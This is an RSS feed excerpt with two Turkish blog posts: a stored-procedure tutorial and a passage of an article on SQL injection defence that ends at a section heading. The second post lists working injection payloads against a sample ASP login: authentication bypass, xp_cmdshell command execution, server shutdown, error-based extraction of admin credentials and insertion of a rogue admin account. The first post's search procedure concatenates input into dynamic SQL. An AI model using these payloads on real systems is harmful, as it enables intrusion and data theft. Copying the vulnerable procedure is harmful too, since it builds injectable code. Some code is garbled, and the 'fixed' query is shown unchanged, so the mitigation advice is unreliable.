		<title>SQL &#8211; Stored Prosedür Oluşturmak</title>
		<link>http://www.tunahan.net/2010/01/29/sql-stored-prosedur-olusturmak/</link>
		<comments>http://www.tunahan.net/2010/01/29/sql-stored-prosedur-olusturmak/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 17:25:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ASP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[EXEC]]></category>
		<category><![CDATA[ISBN]]></category>
		<category><![CDATA[Kod]]></category>
		<category><![CDATA[Oluşturmak]]></category>
		<category><![CDATA[Procedure]]></category>
		<category><![CDATA[Prosedür]]></category>
		<category><![CDATA[Source]]></category>
		<category><![CDATA[Stored]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=136</guid>
		<description><![CDATA[Prosedür ne demektir?
Nesneye dayalı programlama bu kadar popüler değilken, programlar sadece prosedür denilen parçacıklardan oluşurdu. Her bir prosedür, belli bir işlevi yerine getimrke için özenle yapılandırılmış program parçacığıdır. Mesela, iki sayı alıp bunların toplamlarını hesaplayan bir kod parçasını toplayıcı adında bir prosedür içerisine paketleyebiliriz. Bir prosedür, başka bir prosedür içerisinden çağrılabilir. Bu da sık kullanılan [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Prosedür ne demektir?</p>
<p></strong>Nesneye dayalı programlama bu kadar popüler değilken, programlar sadece prosedür denilen parçacıklardan oluşurdu. Her bir prosedür, belli bir işlevi yerine getimrke için özenle yapılandırılmış program parçacığıdır. Mesela, iki sayı alıp bunların toplamlarını hesaplayan bir kod parçasını toplayıcı adında bir prosedür içerisine paketleyebiliriz. Bir prosedür, başka bir prosedür içerisinden çağrılabilir. Bu da sık kullanılan işlemler için yazılmış kodların bir defa yazılıp çok defa kullanılmasını böylelikle de programlamayı kolyalaştırmayı amaçlar.</p>
<p>Saklı prosedürler, bir çok gelişmiş programlama dilindeki fonksiyon yapılarına karşılık gelir. Birden fazla işlemi, paketlenmiş bir halde bir tek komut ile çalıştırmamız gerektiğinde stored procedures kullanılır. İşlemden kasıt T-SQL ile yapılabilen her şeydir.</p>
<p>Stored procedure, 1980’li yılların sonunda Sybase SQLServer ile birlikte kullanıma girdi. En büyük özelliği sorguların önceden hazırlanması(derlenemesi) ve VTYS ile aynı uzayda çalışmasından dolayı daha hızlı sonuç vermesidir.</p>
<p>Bir SP oluşturulduktan sonra, veritabanı sunucusunda saklanır. Her ihtiyaç duyulduğunda aynı sp defalarca çağrılabilir. Cursor gibi oturum kapandığında silinmez.</p>
<p>Network bazlı çalışmalarda ağ trafiği ve sistem kaynaklarının kullanımın düzenleyerek de performans artışı sağlar. Bir dize işlem, bir tek paket içerisinde yer alır. Gerektiğinde bir tek komut ile tetiklenebilir. Paketin tamamı çalışıncaya kadar istemde bulunan terminale hiçbir şey gönderilmez. Tüm komutlar bittiğinde bir tek sonuç gönderilir. Bu da bazı durumlarda ağ trafiğini rahatlatır.<br />
Bir SP sistem tarafından oluşturulduğu anda şu aşamalara tabi tutulur:</p>
<p><strong>1.</strong> SP’nin bileşenleri parçalara ayrıştırılır<br />
<strong>2.</strong> Veritabanı içerisinde table,view gibi başka nesnelere atıfta bulunan referanslar varsa, geçerli olup olmadıkları kontrol edilir.(Geçerli:1-nesne varmı, 2-izin var mı)<br />
<strong>3.</strong> Kontrollerden geçen SP’nin adı sysobjects tablosuna, kodları ise syscomments tablosuna saklanır.<br />
<strong>4.</strong> Bu işlemlerle birlikte derleme işlemi yapılır. Normalizasyon işlemleri olarak da anılan bu işlemler sonucunda, ağaç şeması elde edilir. Bu şema da sysprocedures tablosunda saklanır.<br />
<strong>5.</strong> SP herhangi bir anda çağrıldığında, ilk kez çalışıyorsa bu işlemler gerçekleştirilir. İlk sefa çağrılmıyorsa, kontrol, sorgulama ağacı oluşturma işlemleri yapılmaz ve oldukça hızlı bir şekilde SP’nin derlenmiş hali çalışır. Bundan dolayı sp’ler derlenen nesnelerden biri olarak anılır.</p>
<p><strong>SP’ler şu faydaları sağlar:</strong></p>
<p><strong>1.</strong> Uygulamanın getirdiği bazı iş kuralları prosedür içinde tanımlanabilir. Bir kez oluştuktan sonra bu kurallar birden çok uygulama tarafından kullanılarak daha tutarlı bir veri yönetimi sağlanır. Ayrıca bir fonksiyonelliğin değişmesi ihtiyacı doğduğunda her uygulama için değişiklik yapmak yerine, sadece bir platformda değişiklik yapılır.</p>
<p><strong>2.</strong> Tüm prosedürler üstün performansla çalışır ancak birden fazla çalıştırılacak olan prosedürler sorgulama planları procedure cache içinde saklandığından daha da hızlı çalışırlar.<br />
<strong>3.</strong> Stored Procedure’ ler SQL Server start ettikten sonra otomatik olarak çalıştırılmak üzere ayarlanabilirler.<br />
4. Stored Procedure’ ler harici olarak kullanılırlar. Trigger’ lardan farklı olarak prosedürler uygulama tarafından ya da script tarafından bir şekilde çağrılmak zorundadırlar. Otomatik devreye giremezler.<br />
<strong>5.</strong> Stored Procedure’ lerın içinde SQL sorgulama diline ek olarak T-SQL komutlarını kullanabiliriz.<br />
<strong>6.</strong>Kullanıcının bir tabloya erişim izni olmasa bile o tablo üzerinde işlem yapan bir stored procedure’ ü kullanma izni olabilir.</p>
<p><strong>SP oluşturma:</strong></p>
<p><span style="background-color: #ffffff;">CREATE PROC [ EDURE ] procedure_name [ ; number ]<br />
[ { @parameter data_type }<br />
[ VARYING ] [ = default ] [ OUTPUT ]  ]<br />
[ ,...n ]</span><br />
<strong>Örnek:<br />
</strong>Çalıştırıldığı tarih itibariyle, aldığı kitapları getirmeyen üyelerin adını veren bir SP yazalım:</p>
<p>CREATE  PROCEDURE sp_cezaliUye<br />
AS<br />
&#8211; Bugünün tarihini al<br />
DECLARE @buGun DATETIME<br />
SET  @buGun = GetDate()</p>
<p>SELECT uyeAdi FROM odunc<br />
WHERE geldiMi=0 AND VermeTarihi + VermeSuresi &lt; @buGun<br />
&#8211; bugünden önce gelmesi gereken ödünç işlemlerindeki üye adını seç.</p>
<p><strong>Daha sonra bu SP şu komut ile çağrılır:</strong></p>
<p><strong>EXEC sp_cezaliUye</strong><br />
&#8211; sp_cezaliUye stored procedure&#8217;ünü çalıştır.</p>
<p>SP üstünde değişiklik yapmak istediğimizde ise,</p>
<p><strong>Sp_helptext sp_adi</strong></p>
<p>Diyerek SP’nin içeriğini görebiliriz.<br />
Daha sonra bu içeriği Query Analyzer kod penceresine yapıştırıp,</p>
<p>ALTER PROCEDURE sp_cezaliUye<br />
AS</p>
<p>DECLARE @buGun DATETIME<br />
SET  @buGun = GetDate()</p>
<p>SELECT uyeAdi FROM odunc<br />
WHERE geldiMi=0 AND VermeTarihi + VermeSuresi &lt; @buGun</p>
<p>Diyerek yeni halini kaydettirebiliriz.</p>
<p><strong>İPUCU:</strong><br />
Bir çok işlemi kod yazmaksızın yapmayı sağlayan Enterprise Manager’i kullanarak sp’leri de kolayca değiştirebilirisiniz. Bunun için Enterprise manager ile bir sp’yi seçip çift tıklamak yeterlidir.</p>
<p><strong>SP’ye parametre yollama:<br />
</strong>Bazen SP’ler dışarıdan parametre alabilirler:</p>
<p><strong>Örnek:</strong><br />
Herhangi bir tarih verildiğinde, bu tarihte süresi bittiği halde teslim edilmeyen kitapları bulan bir SP yazalım ancak tarih olarak bu günden daha büyük bir parametre alamasın. Böyle bir durum olduğunda, bu günün tarihini versin.</p>
<p>CREATE  PROCEDURE <a style="color: #000000; font-family: Arial; text-decoration: none;" href="mailto:sp_cezaliUye_1@referansTarih">sp_cezaliUye_1@referansTarih</a> DATETIMEASDECLARE @buGun DATETIME SET @buGun = GetDate()IF @referansTarih &gt; @buGun SET @referansTarih = @buGun &#8212; şayet, bugünün tarihi referans tarihten küçük ise,<br />
referans tarihi bugünün tarihi ile değiştir.<br />
SELECT uyeAdi FROM odunc<br />
WHERE geldiMi=0 AND VermeTarihi + VermeSuresi &lt; @referansTarih<br />
&#8211; bugün veya daha eski bir tarihte, gelmemiş kitapları alan üyelerin listesini veren sorgu</p>
<p>Bazen dışarıdan gelen parametrelerin isteğe bağlı olması istenebilir.<br />
Bu durumda DEFAULT değer atama seçeneği kullanılır. Şayet dışarıdan parametreye değer atanmazsa, geçerli değer default atanmış değer olarak alınır ve işlem yapılır:</p>
<p><strong>Örnek:</strong><br />
CREATE  PROCEDURE sp_cezaliUye_2<br />
@referansTarih DATETIME = NULL<br />
&#8211; dışarıdan referans tarihi gelmedi ise, NULL olarak kabul et.<br />
AS</p>
<p>DECLARE @buGun DATETIME<br />
SET  @buGun = GetDate()</p>
<p>IF (@referansTarih IS NULL) OR (@referansTarih&gt;@buGun)<br />
SET @referansTarih = @buGun<br />
&#8211; Referans tarih gelmedi ise veya bugünün tarihinden büyük ise, bugünün tarihini al.</p>
<p>SELECT uyeAdi FROM odunc<br />
WHERE geldiMi=0 AND VermeTarihi + VermeSuresi &lt; @referansTarih<br />
Go</p>
<p>şeklinde yazabiliriz. Daha sonra</p>
<p>EXEC sp_cezaliUye_2 @referansTarih=’01.01.2003’</p>
<p><strong>İle veya</strong></p>
<p>EXEC sp_cezaliUye_2<br />
Diyerek sp’yi çağırabiliriz.</p>
<p><strong>DİKKAT:</strong><br />
SP’de bir parametre için default değer tanımı yaparken, bu değerin sabit bir değer veya NULL olması gerektiğine dikkat etmelidir.</p>
<p><strong>İPUCU:</strong><br />
Bazı durumlarda, SP içerisinde SQL ifadesini bir değişkene atamak suretiyle durumlara göre dinamik olarak meydana getirip, daha sonra da onu çalıştırabiliriz. Bu durumda da EXEC fonksiyonu kullanılır. EXEC fonksiyonu, bir stored procedure batch&#8217;in ilk ifadesi değil ise de stored procedure çalıştırılırken kullanılmak zorundadır.</p>
<p><strong>Örnek:</strong></p>
<p>&#8212; Yanlış ifade(çalışmaz):<br />
DECLARE @isim VARCHAR(10)<br />
&#8230;<br />
sp_cezaliUye_2</p>
<p>&#8211; Doğru ifade(çalışır)<br />
DECLARE @isim VARCHAR(10)<br />
&#8230;.<br />
EXEC sp_cezaliUye_2</p>
<p><strong>Örnek:</strong><br />
Kitaplar tablosu üstünde aşağıdaki parametrelere göre arama yapabilecek bir SP yazalım. Parametrelerden gelenler için filtreleme yapılsın.<br />
Dışarıdan alınabilecek Parametreler: ISBNNo, KitapAdi, Yazari, Ozeti</p>
<p>CREATE  PROCEDURE sp_kitapBul<br />
@ISBNNo CHAR(16) =NULL,<br />
@KitapAdi VARCHAR(55)=NULL,<br />
@kitapYazari VARCHAR(55)=NULL,<br />
@KitapOzeti VARCHAR(55)=NULL<br />
AS</p>
<p>DECLARE @sSQL VARCHAR(500)<br />
&#8211; Bir SQL değişkeni tanımlıyoruz<br />
Set @sSQL= &#8216;SELECT * FROM Kitap WHERE 1=1 &#8216;<br />
IF @ISBNNo IS NOT NULL<br />
SET @sSQL = @sSQL + &#8216;  AND ISBNNo = &#8221;&#8217; + @ISBNNo + &#8221;&#8221;<br />
&#8211; ISBNNo parametresi null değilse sorguya ekliyoruz.</p>
<p>IF @KitapAdi IS NOT NULL<br />
SET @sSQL <a style="color: #000000; font-family: Arial; text-decoration: none;" href="mailto:=@sSQL">=@sSQL</a> + &#8216; AND KitapAdi  LIKE  &#8221;%&#8217;  + @KitapAdi +  &#8216;%&#8221;&#8217;<br />
&#8211; KitapAdi parametresi NULL değil ise sorguya ekliyoruz.</p>
<p>IF @KitapYazari IS NOT NULL<br />
SET @sSQL = @sSQL + &#8216; AND KitapYazari  LIKE  &#8221;%&#8217;  + @KitapYazari +  &#8216;%&#8221;&#8217;<br />
&#8212;KitapYazari Null değil ise sorguya ekliyoruz.</p>
<p>IF @KitapOzeti   IS NOT NULL<br />
SET @sSQL = @sSQL + &#8216;  AND KitapOzeti  LIKE  &#8221;%&#8217;  + @KitapOzeti +  &#8216;%&#8221;&#8217;<br />
&#8211; kitapOzeti null değil ise sorguya ekliyoruz.<br />
print @sSQL &#8211;nasıl bir SQL oluşturduğumuzu yazdırıyoruz.</p>
<p>EXEC(@sSQL)<br />
&#8211; bir VARCHAR değişkenin içerdiği T-SQL ifadesini çalıştırıyoruz.</p>
<p>Farklı parametre değerleri ile SP’yi çağırabiliriz:</p>
<p>&#8211; sadece ISBN vererek çağıralım<br />
EXEC Sp_kitapBul @ISBNNo=’12345’<br />
&#8211; ISBN ve KitapAdi parametreleri ile çağırma<br />
EXEC Sp_kitapBul @ISBNNo=’12345’, @kitapAdi=’Yol’</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/01/29/sql-stored-prosedur-olusturmak/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection &#8211; Korunma Yollari</title>
		<link>http://www.tunahan.net/2010/01/29/sql-injection-korunma-yollari/</link>
		<comments>http://www.tunahan.net/2010/01/29/sql-injection-korunma-yollari/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 17:21:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ASP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[Korunma]]></category>
		<category><![CDATA[Şifre]]></category>
		<category><![CDATA[Yollari]]></category>

		<guid isPermaLink="false">http://www.tunahan.net/?p=133</guid>
		<description><![CDATA[Yazıya başlamadan önce belirtmek istediğim şey; bu makale bazı SQL injeksiyon yöntemlerinin nasıl yapıldığı konusunda öğretici bilgi içerebilir. Bu bilgileri ben sadece olası yapılabilecek hataların düzeltilmesi maksadıyla yayınlıyorum. Bu yazı kötü amaçlı olarak yazılmamıştır.
Dünyanin her tarafinda, kullanicilarina; kredi karti numaralari, kullanici bilgileri gibi gizli kalmasi gereken bilgilerin, ürünlere ve siparislere ait verilerin saklandigi uç-arka veri [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong>Yazıya başlamadan önce belirtmek istediğim şey; bu makale bazı SQL injeksiyon yöntemlerinin nasıl yapıldığı konusunda öğretici bilgi içerebilir. Bu bilgileri ben sadece olası yapılabilecek hataların düzeltilmesi maksadıyla yayınlıyorum. Bu yazı kötü amaçlı olarak yazılmamıştır.</strong></em></p>
<p>Dünyanin her tarafinda, kullanicilarina; kredi karti numaralari, kullanici bilgileri gibi gizli kalmasi gereken bilgilerin, ürünlere ve siparislere ait verilerin saklandigi uç-arka veri depolariyla hizmet veren web siteleri bulunmaktadir. Ve genel olarak, web sitelerindeki form araciligi ile alinan girdi ile veritabanindaki bilgiler filtrelendikten sonra sonucu kullaniciya gönderen bu tür sistemlerde Yapisal Sorgulama Dili (Structured Query Language &#8211; SQL) kullanilmaktadir. Uygulama içerisinde kullanilacak parametre degerleri alinirken kullanilan formun SQL Deyimini yeniden yapilandirabilecek bazi özel karakterlere izin vermesiyle güvenlik problemleri ortaya çikmaktadir.</p>
<p>Bu güvenlik problemleri kullanilarak bir uygulamanin arkasinda, bu uygulamaya destek veren veri tabani üzerindeki bütün bilgilere ulasilabilir veya bilgiler üzerinde degisiklik yapilabilir. Veya veri tabani sisteminin komutlari kullanilarak kullanilan sunucular üzerinde uygulama harici istenen islemler de yapilabilir. Bu problemlerden korunmak için de uygulama girdilerini bu tür karakterlere karsi kontrol eden fonksiyonlarin kullanilmali ve genis çapli uygulamalarin bu güvenlik açiklarini tasiyip tasimadigini anlamak için güvenlik denetimine tabi tutulmalidir..</p>
<p>Ilgilendiren Sektör ve Sirketler:</p>
<p>Özel olarak gelistirilmis uygulamalar kullanan tüm kurum ve kuruluslar<br />
Internet / Intranet üzerinde uygulama gelistiren kuruluslar</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>1. Bir Uygulama Güvenligi Problemi &#8211; &#8216;Yapisal Sorgulama Dili Kullanimi&#8217;</p>
<p>Yapisal Sorgulama Dili SQL&#8217;in uygulamalarda kullanimina örnek vermek gerekirse;</p>
<p>select Name, Address FROM Users WHERE UserID = &#8216;2081&#8242;</p>
<p>Seklindeki SQL Deyimi &#8216;Users&#8217; adli tablodan &#8216;2081&#8242; ürün ID si ile veritabanina kayitli olan kisiye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zayiflik, kullanilan formun SQL Deyimini yeniden yapilandirabilecek bazi özel karakterlere izin vermesiyle ortaya çikmaktadir. Çözümü ise girdilerden bu özel karakterlerin filtrelenmesini saglayan fonksiyonlardir.</p>
<p>Hizla gelisen internet teknolojileri karsisinda yeni pazarda geç olmadan yerini almak isteyen müsterilerine daha kisa sürede daha kullanisli ve ucuz çözümler sunmak zorunda olan uygulama gelistiriciler bu süreçte güvenlik gibi önemli bir faktörü ikinci plana atmaktadirlar.</p>
<p>Giderek yayginlasan ve medyanin haber potansiyelini olusturan; çalinan kredi karti numaralari, yer alti sitelerde dagitilan müsteri bilgileri, sirket projeleri &#8211; yazismalari yaklasan tehlikenin habercisi olmakla beraber halen bu tür kayiplarin yaratabilecegi maddi sonuçlari kavrayamayan ve hala &#8216;az maliyetle kurtarilan güvenlik projeleri&#8217; &#8216;yle övünen yöneticilere uyari niteligi tasimaktadir. Öyleki -herzaman bir adim önde olmayi amaçlayan- saldirganlar güvenligin en üst seviyede olmasi beklenen devlet siteleri de dahil olmak üzere pek çok sisteme yönelik saldirilarina da ara vermeksizin devam etmektedirler.</p>
<p>Maddi ve manevi degere sahip sirketinizi bir anlamda is ortaklarini olan uygulama gelistiricilerin hazirladiklari uygulama ürünlerine emanet edildigini düsünürsek, &#8216;uygulamalariniza ne kadar güvenirsiniz?&#8217; gibi bir soruya verilecek cevap büyük önem tasimaktadir.</p>
<p>Böyle bir ortamda uygun güvenlik çözümü için ayrilmis bütçe bir lüks degil her an yapilabilecek bir saldirida sirketin ugrayacagi zarari ortadan kaldirmak için alinmasi gereken önlem niteligi tasimaktadir.</p>
<p>2. Örnek Saldirilar &#8211; &#8216;Yapilacak Hamleleri Önceden Tahmin Edebilmek&#8230;&#8217;</p>
<p>Güvenlikte sikça kullanilan bir deyim; &#8216;Saldirganlardan korunabilmek için onlar gibi düsünmelisiniz!..&#8217;. Saldirganin sisteminize girmek için kullanabilecegi yöntemleri bilmek bu saldirilardan korunabilmek için alinan önlemleri daha saglikli kilacaktir.</p>
<p>Örneklerde kullanacagimiz hedef ; Microsoft® Internet Information Server™&#8217; dan Microsoft® SQL Server™&#8217;a varsayilan sistem hesabi&#8217;ndan (sa) baglanan ASP tabanli bir kullanici hesabi yöneticisi olacak.<br />
Form.asp : Username ve Password girdisini alan form.Solda&#8230;<br />
Login.asp : Veritabani ile baglantiya geçen ve girdinin dogrulugunu kontrol eden ASP kodu.</p>
<p>2.1. Kötü Amaçli (&#8217;) Imleçleri Yardimiyla Izinsiz Giris Saglama:</p>
<p>Kullanici &#8216;Username&#8217; &amp; &#8216;Password&#8217; verisini Login.asp ye yolladiktan sonra .asp kodunun yapacagi is verilen yoldaki veritabani ile baglanti kurup ilgili tabloda Username ve Password sütünlarinda gönderilen verinin dogrulugunu kontrol etmek olacaktir. Bu islem sonucunda eger sonuç olumluysa kullaniciya; &#8216;Giris Yapildi&#8217; olumsuzsa; &#8216;Geçersiz Kullaniciadi &amp; Sifre&#8217; mesaji verilecektir.<br />
Örnekleyecek olursak;</p>
<p>Username : ilkay<br />
Password : 2081</p>
<p>Seklindeki kullanici girdisi asagidaki SQL Deyimini olusturacaktir;</p>
<p>select count(*) FROM Users WHERE Username = &#8216;ilkay&#8217; AND Password = &#8216;2081&#8242;</p>
<p>Ilk bakista sorun olmayan bir SQL Deyimi&#8230; Fakat saldirganin;</p>
<p>Username : ilkay<br />
Password : &#8216; OR 1=1&#8211;</p>
<p>Seklindeki girdilerle olusturacagi SQL Deyimi ise;</p>
<p>select count(*) FROM Users WHERE Username = &#8216;ilkay&#8217; AND Password = &#8221; OR 1=1 &#8211;&#8217;</p>
<p>Olacaktir ki, bu durumda girisin saglanmasi için sart &#8216;ilkay&#8217; kullanici adina ait sifrenin hiçbirsey* olmasi veya ikinci bir opsiyon olarak 1=1 esitliginin saglanmasidir.</p>
<p>* Hiçbisey = Bosluk</p>
<p>Sonuç : 1=1 esitligi saglandigina göre saldiri basariyla sonuçlanacak ve &#8216;Giris Yapildi&#8217; mesaji verilecektir.</p>
<p>Not : Microsoft® SQL Server™ &#8216;&#8211;&#8217; imlecinden sonra gelen yersiz kullanilmis tirnak isaretlerini göz ardi edecektir. Ilk bakista basit gibi görünen ve sadece SQL Server&#8217;a ait olan bu özellik ilerde örneklerden de anlasilacagi üzere saldirgana büyük kolaylik saglayacaktir..</p>
<p>2.2. Uzaktan Çalistirilmasi Mümkün Olan Prosedürler:</p>
<p>MS SQL Server&#8217;a varsayilan sistem hesabindan yaptigimiz baglanti SQL Enjeksiyon saldirisinda muhtemel saldirgana sunucuda saklanan prosedürleri çalistirabilmesi için gerekli haklari taniyacaktir. Saldirganin kullanabilecegi prosedürlerden bir tanesi; &#8216;master..xp_cmdshell&#8217; olabilir.</p>
<p>Username : ilkay<br />
Password : &#8216;; EXEC master..xp_cmdshell &#8216;dir c:&#8217;&#8211;</p>
<p>Girdileriyle olusacak SQL Deyimi;</p>
<p>select count(*) FROM Users WHERE Username = &#8216;ilkay&#8217; AND Password = &#8221;; EXEC master..xp_cmdshell &#8216;dir c:&#8217;&#8211;&#8217;</p>
<p>Sonuç : SQL Server Kullaniciadi ve Sifreyi bulunduran sütunlari arayacaktir bulamadigi için &#8216;Yanlis Kullaniciadi &amp; Sifre&#8217; mesajini verecektir fakat bu arada arka planda &#8216;dir c:&#8217; komutunu çalistiracak ve saldirgan C sürücüsünün içerigine ulasacaktir.</p>
<p>2.3. SQL Server Hedef Alinarak Yapilan Saldirilar:</p>
<p>Yönetici haklarina sahip saldirgan silme,ekleme,degistirme&#8230;vb gibi komutlari rahatlikla çalistirabilecektir.</p>
<p>SHUTDOWN WITH NOWAIT SQL Server&#8217;in kritik komutlarindan bir tanesidir. Komutla beraber SQL Server görevine son verir.</p>
<p>Username : &#8216;; SHUTDOWN WITH NOWAIT&#8211;<br />
Password : [Bos]</p>
<p>Bu girdilerle olusturulan SQL Deyimi;</p>
<p>select Username FROM Users WHERE Username=&#8221;; SHUTDOWN WITH NOWAIT; &#8211;&#8217; AND Password=&#8221;</p>
<p>Sonuç : SQL Server kullaniciadinin bulunamadigi mesajini verecektir. Fakat bununla beraber arka planda diger komutu çalistirdigi için SQL Server kapanacaktir.</p>
<p>2.4. ODBC Hatalarindan Faydalanarak Yapilan Saldirilar:</p>
<p>SQL Server&#8217;in verdigi hatalardan faydalanarak veritabanindaki neredeyse tüm bilgilere ulasmak mümkündür.</p>
<p>Hedef; http://Victim/Default.asp?id=10 seklinde ürün ID leri ile çalisan ASP tabanli bir websitesi.</p>
<p>Saldiri SQL Server&#8217;in integer ve string cinsinden verileri birlikte gönderememesinden faydalinarak yapilabilir;</p>
<p>Gönderilen &#8216;10&#8242; sayisina veritabanindan herhangi bir string eklenir.</p>
<p>http://Victim/Default.asp?id=10 UNION select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES&#8211;</p>
<p>Not: &#8216;INFORMATION_SCHEMA.TABLES&#8217; sistem tablosu, sistemde bulunan diger tüm tablolar hakkinda bilgi içerir. Deyimde kullanilan &#8216;TABLE_NAME&#8217; de yine tüm tablo isimlerini içerir.</p>
<p>Olusacak SQL Deyimi;</p>
<p>select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES</p>
<p>String -&gt; Integer dönüsümünü yapamayan SQL Server asagidaki hatayi verecektir.</p>
<p>Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#8216;Table1&#8242; to a column of data type int.<br />
/Default.asp, line 5</p>
<p>Hata, saldirgana &#8216;Table1&#8242; olarak buldugu cevabi integer a çeviremedigini (dolayisiyla veritabanindaki ilk tablo adinin &#8216;Table1&#8242; oldugunu) belirtmektedir. Saldirgan diger tablolarin adini asagidaki sekilde ögrenebilir&#8230;</p>
<p>http://Victim/Default.asp?id=10 UNION select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (&#8217;Table1&#8242;)&#8211;</p>
<p>Veya dogrudan LIKE komutunu kullanarak aradigi seye daha kolay yoldan ulasabilir;</p>
<p>http://Victim/Default.asp?id=10 UNION select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE &#8216;%/%25Login%/%25&#8242;&#8211;</p>
<p>SQL Server&#8217;in verecegi hata;</p>
<p>Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#8216;Admin_Login&#8217; to a column of data type int.<br />
/Default.asp, line 5</p>
<p>Admin_Login adinda bir tablo oldugunu ögrenen saldirgan muhtemelen tablodaki ilk kullaniciadi ve sifreye ulasmak isteyecektir. Izleyebilecegi yol ise;</p>
<p>http://Victim/Default.asp?id=10 UNION select TOP 1 Username FROM Admin_Login&#8211;</p>
<p>Hata;</p>
<p>Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#8216;ilkay&#8217; to a column of data type int.<br />
/Default.asp, line 5</p>
<p>Bu sekilde &#8216;admin&#8217; kullaniciadinin varligini dogrulayan saldirganin sifreyi ele geçirmek için kullanacagi girdi;</p>
<p>http://Victim/Default.asp?id=10 UNION select TOP 1 Password FROM Admin_Login WHERE Username=&#8217;ilkay&#8217;&#8211;</p>
<p>Hata;</p>
<p>Microsoft OLE DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#8216;2081&#8242; to a column of data type int.<br />
/Default.asp, line 5</p>
<p>Sonuç :<br />
Username : ilkay<br />
Password : 2081</p>
<p>2.5. Veritabanina Ekleme Yapma veya Veri Düzenleme:</p>
<p>Kullaniciadi ve sifre bilgisine ulasan muhtemel saldirgan benzer yöntemleri ve UPDATE,insert komutlarini kullanarak sifreyi degistirebilir veya daha temizi baska bir kullanici hesabi açabilir&#8230;</p>
<p>http://Victim/Default.asp?id=10; UPDATE &#8216;Admin_Login&#8217; SET &#8216;Password&#8217; = &#8216;NewPwd&#8217; WHERE Username=&#8217;ilkay&#8217;&#8211;</p>
<p>Yeni bir kullanici hesabi için;</p>
<p>http://Victim/Default.asp?id=10; insert INTO &#8216;Admin_Login&#8217; (&#8217;UserID&#8217;, &#8216;Username&#8217;, &#8216;Password&#8217;, &#8216;Details&#8217;) VALUES (666,&#8217;Desperate_Cry&#8217;,'2081&#8242;,&#8217;N /A&#8217;)&#8211;</p>
<p>3. Nasil Korunmali? &#8211; &#8216;Aksi Dogrulanincaya Kadar Tüm Kullanici Girdileri Kötüdür&#8230;&#8217;</p>
<p>Gelebilecek SQL Enjeksiyon saldirilarindan korunabilmek için alinan önlemlerde temel alinmasi geren nokta&#8230; &#8216;Aksi dogrulanincaya kadar tüm kullanici girdileri kötüdür!&#8217;.</p>
<p>3.1. Kullanici Haklarinin Sinirlandirilmasi</p>
<p>Yaygin olarak yapilan hata; Web Server dan SQL Server a yapilan baglantilarda varsayilan sistem hesabi kullanilmasi&#8230; Bu sekilde yönetici haklarina sahip olan saldirgan örneklerde de görülebilecegi üzere istegi komutu çalistirip istedigi ekleme,silme,düzeltme eylemini gerçeklestirebilecektir. Bunu yerine yapilmasi gereken yeni bir kullanici hesabi olusturup kullanicinin çalistirabilecegi komutlari sinirlandirmak olacaktir.</p>
<p>Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasindan siparis verilmesine izin verecekseniz, &#8216;web_user&#8217; gibi bir kullanici adi olusturup ürünleri incelemek için; ürünler sütununda sadece &#8217;select&#8217; kullanimina ve siparisleri için; siparisler sütununda sadece &#8216;insert&#8217; kullanimina izin vermeniz uygun olacaktir.</p>
<p>3.2. Girdilerde Tirnak Imleçlerinin (&#8217;) Kötü Amaçli Kullaniminin Engellenmesi</p>
<p>Yaygin SQL Enjeksiyon saldirilari SQL deyimlerinin girdilerdeki gereksiz (&#8217;) tirnak isaretleri yardimiyla yeniden olusturulmasi sayesinde yapilir.</p>
<p>Küçük bir filtreleme fonksiyonu veya tek tirnagi çift tirnaga çeviren bir fonksiyon muhtemel bir saldiriyi engellmek için yeterli olabilir.</p>
<p>ASP Kullanarak girdileri kontrol ederek degistiren bir fonksiyon kolaylikla yazilabilir;</p>
<p>Bu fonksiyonu bastaki örnekte kullanirsak;</p>
<p>select count(*) FROM Users WHERE Username=&#8217;ilkay&#8217; AND Password=&#8221; OR 1=1 &#8211;&#8217;</p>
<p>seklinde olan deyim&#8230;</p>
<p>select count(*) FROM Users WHERE Username=&#8217;ilkay&#8217; AND Password=&#8221; OR 1=1 &#8211;&#8217;</p>
<p>&#8216;e dönüsecektir.</p>
<p>3.3. Form Girdilerinden Gereksiz Karakterlerin Elenmesi</p>
